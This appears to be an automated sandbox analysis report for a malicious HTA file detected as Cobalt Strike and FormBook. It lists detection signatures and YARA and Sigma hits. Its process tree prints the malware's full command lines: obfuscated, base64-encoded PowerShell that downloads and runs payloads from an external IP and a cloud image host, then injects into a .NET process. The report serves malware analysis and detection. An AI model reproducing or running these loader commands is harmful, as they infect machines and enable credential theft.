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Windows
Analysis Report
createdbetterthingswithgreatnressgivenmebackwithnice.hta
Overview
General Information
Detection
Cobalt Strike, FormBook
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected FormBook
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
Yara detected obfuscated html page
AI detected suspicious sample
Connects to a pastebin service (likely for C&C)
Injects a PE file into a foreign processes
Loading BitLocker PowerShell Module
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected Generic Downloader
Checks if the current process is being debugged
Compiles C# or VB.Net code
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: AspNetCompiler Execution
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- mshta.exe (PID: 5844 cmdline:
mshta.exe "C:\Users\ user\Deskt op\created betterthin gswithgrea tnressgive nmebackwit hnice.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505) - cmd.exe (PID: 3500 cmdline:
"C:\Window s\system32 \cmd.exe" "/C POwerS hell -EX BypasS -NoP -w 1 -c DevICEcrE denTiaLdep lOymENT.ex e ; invo ke-exPRess IoN($(invO ke-EXprESs IoN('[sYST eM.TEXt.eN CodiNG]'+[ CHAr]0X3a+ [ChaR]58+' utf8.GetSt rIng([sysT eM.cONveRT ]'+[CHAR]0 X3A+[CHAR] 0x3A+'FRom baSe64sTRi nG('+[CHAr ]0x22+'JFk ydXEzSjNpb CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICA9ICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIGFEZC1Ue VBlICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 NRU1iZXJkZ UZpbkl0aU9 uICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICdbR GxsSW1wb3J 0KCJVUmxtT 24uZGxsIiw gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQ2hhc lNldCA9IEN oYXJTZXQuV W5pY29kZSl dcHVibGljI HN0YXRpYyB leHRlcm4gS W50UHRyIFV STERvd25sb 2FkVG9GaWx lKEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBxam9 VQkhYYixzd HJpbmcgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA ga2JNZWFlc Xosc3RyaW5 nICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIEJLd lZrWGZVckZ uLHVpbnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgVkR5RXp mdnMsSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIFV pYXFNRlpBV WlEKTsnICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1uYW1FI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICJsU0s iICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIC1OQ U1lU3BhY2U gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgTHggI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgLVBhc3N UaHJ1OyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAkWTJ1cTN KM2lsOjpVU kxEb3dubG9 hZFRvRmlsZ SgwLCJodHR wOi8vMTcyL jI0NS4xMjM uMTIvMjMzL 2NyZWF0ZWR iZXN0dGhpb mdzd2l0aGV uZXJneWxld mVsZ29vZGZ vcmJ1c2luZ XNzcHVyb3B zZS50SUYiL CIkRU52OkF QUERBVEFcY 3JlYXRlZGJ lc3R0aGluZ 3N3aXRoZW5 lcmd5bGV2Z Wxnb29kZm9 yYnVzaW5lc 3MudmJTIiw wLDApO3N0Q VJULXNsRWV QKDMpO0luV m9rRS1leFB yRXNzaU9OI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICIkRU5 2OkFQUERBV EFcY3JlYXR lZGJlc3R0a GluZ3N3aXR oZW5lcmd5b GV2ZWxnb29 kZm9yYnVza W5lc3MudmJ TIg=='+[ch aR]0x22+') )')))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4456 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7092 cmdline:
POwerShell -E X By pasS -NoP -w 1 - c De vICEcrEden TiaLdeplOy mENT.exe ; invoke- exPRessIoN ($(invOke- EXprESsIoN ('[sYSTeM. TEXt.eNCod iNG]'+[CHA r]0X3a+[Ch aR]58+'utf 8.GetStrIn g([sysTeM. cONveRT]'+ [CHAR]0X3A +[CHAR]0x3 A+'FRombaS e64sTRinG( '+[CHAr]0x 22+'JFkydX EzSjNpbCAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICA9ICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIG FEZC1UeVBl ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1NRU 1iZXJkZUZp bkl0aU9uIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICdbRGxs SW1wb3J0KC JVUmxtT24u ZGxsIiwgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgQ2hhclNl dCA9IENoYX JTZXQuVW5p Y29kZSldcH VibGljIHN0 YXRpYyBleH Rlcm4gSW50 UHRyIFVSTE Rvd25sb2Fk VG9GaWxlKE ludFB0ciAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBxam9VQk hYYixzdHJp bmcgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAga2 JNZWFlcXos c3RyaW5nIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIEJLdlZr WGZVckZuLH VpbnQgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg VkR5RXpmdn MsSW50UHRy ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIFVpYX FNRlpBVWlE KTsnICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1uYW1FICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICJsU0siIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIC1OQU1l U3BhY2UgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgTHggICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg LVBhc3NUaH J1OyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAk WTJ1cTNKM2 lsOjpVUkxE b3dubG9hZF RvRmlsZSgw LCJodHRwOi 8vMTcyLjI0 NS4xMjMuMT IvMjMzL2Ny ZWF0ZWRiZX N0dGhpbmdz d2l0aGVuZX JneWxldmVs Z29vZGZvcm J1c2luZXNz cHVyb3BzZS 50SUYiLCIk RU52OkFQUE RBVEFcY3Jl YXRlZGJlc3 R0aGluZ3N3 aXRoZW5lcm d5bGV2ZWxn b29kZm9yYn VzaW5lc3Mu dmJTIiwwLD ApO3N0QVJU LXNsRWVQKD MpO0luVm9r RS1leFByRX NzaU9OICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICIkRU52Ok FQUERBVEFc Y3JlYXRlZG Jlc3R0aGlu Z3N3aXRoZW 5lcmd5bGV2 ZWxnb29kZm 9yYnVzaW5l c3MudmJTIg =='+[chaR] 0x22+'))') ))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - csc.exe (PID: 6348 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\zl2mzrqp \zl2mzrqp. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 6648 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SD327.tmp" "c:\Users \user\AppD ata\Local\ Temp\zl2mz rqp\CSC285 05E0AE9E84 89AA3B119D ACC3AAED2. TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) - wscript.exe (PID: 2928 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat edbestthin gswithener gylevelgoo dforbusine ss.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 6084 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $cycloocta diene = 'J GhpY2N1cHB pbmcgPSAna HR0cHM6Ly9 yZXMuY2xvd WRpbmFyeS5 jb20vZHp2Y Wk4NnVoL2l tYWdlL3Vwb G9hZC92MTc zNDA1MDk5M S91bnhhb29 peWt4Zm13O XBhbjR6MS5 qcGcgJzskc HJpbXBpbmc gPSBOZXctT 2JqZWN0IFN 5c3RlbS5OZ XQuV2ViQ2x pZW50OyRtb 3ZpbmdzID0 gJHByaW1wa W5nLkRvd25 sb2FkRGF0Y SgkaGljY3V wcGluZyk7J GFuc2VyZXM gPSBbU3lzd GVtLlRleHQ uRW5jb2Rpb mddOjpVVEY 4LkdldFN0c mluZygkbW9 2aW5ncyk7J GZsdXR0ZXJ ieSA9ICc8P EJBU0U2NF9 TVEFSVD4+J zskaGFta2l uID0gJzw8Q kFTRTY0X0V ORD4+Jzskd W5ncmlldml uZyA9ICRhb nNlcmVzLkl uZGV4T2YoJ GZsdXR0ZXJ ieSk7JGNvb nRyYXZlbmV yID0gJGFuc 2VyZXMuSW5 kZXhPZigka GFta2luKTs kdW5ncmlld mluZyAtZ2U gMCAtYW5kI CRjb250cmF 2ZW5lciAtZ 3QgJHVuZ3J pZXZpbmc7J HVuZ3JpZXZ pbmcgKz0gJ GZsdXR0ZXJ ieS5MZW5nd Gg7JHNub3d tb2JpbGUgP SAkY29udHJ hdmVuZXIgL SAkdW5ncml ldmluZzskd 2hvcnRsZSA 9ICRhbnNlc mVzLlN1YnN 0cmluZygkd W5ncmlldml uZywgJHNub 3dtb2JpbGU pOyRyZXZlY WxlZCA9IC1 qb2luICgkd 2hvcnRsZS5 Ub0NoYXJBc nJheSgpIHw gRm9yRWFja C1PYmplY3Q geyAkXyB9K VstMS4uLSg kd2hvcnRsZ S5MZW5ndGg pXTskbWFza 2luZyA9IFt TeXN0ZW0uQ 29udmVydF0 6OkZyb21CY XNlNjRTdHJ pbmcoJHJld mVhbGVkKTs kdHJhbnNvY 2VhbmljID0 gW1N5c3Rlb S5SZWZsZWN 0aW9uLkFzc 2VtYmx5XTo 6TG9hZCgkb WFza2luZyk 7JFRoYXRja GVyaXNlID0 gW2RubGliL klPLkhvbWV dLkdldE1ld GhvZCgnVkF JJyk7JFRoY XRjaGVyaXN lLkludm9rZ SgkbnVsbCw gQCgnMC8xT DJ0ZS9yL2V lLmV0c2FwL y86c3B0dGg nLCAnJHRob 21zb25pYW5 pc20nLCAnJ HRob21zb25 pYW5pc20nL CAnJHRob21 zb25pYW5pc 20nLCAnYXN wbmV0X2Nvb XBpbGVyJyw gJyR0aG9tc 29uaWFuaXN tJywgJyR0a G9tc29uaWF uaXNtJywnJ HRob21zb25 pYW5pc20nL CckdGhvbXN vbmlhbmlzb ScsJyR0aG9 tc29uaWFua XNtJywnJHR ob21zb25pY W5pc20nLCc kdGhvbXNvb mlhbmlzbSc sJzEnLCckd GhvbXNvbml hbmlzbScsJ ycpKTs=';$ italicizin g = [Syste m.Text.Enc oding]::UT F8.GetStri ng([System .Convert]: :FromBase6 4String($c yclooctadi ene));Invo ke-Express ion $itali cizing MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 2452 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - aspnet_compiler.exe (PID: 3924 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\asp net_compil er.exe" MD5: FDA8C8F2A4E100AFB14C13DFCBCAB2D2)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Formbook, Formbo | FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware. |
⊘No configs have been found
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
Click to see the 1 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_FormBook_1 | Yara detected FormBook | Joe Security | ||
Windows_Trojan_Formbook_1112e116 | unknown | unknown |
| |
JoeSecurity_GenericDownloader_1 | Yara detected Generic Downloader | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |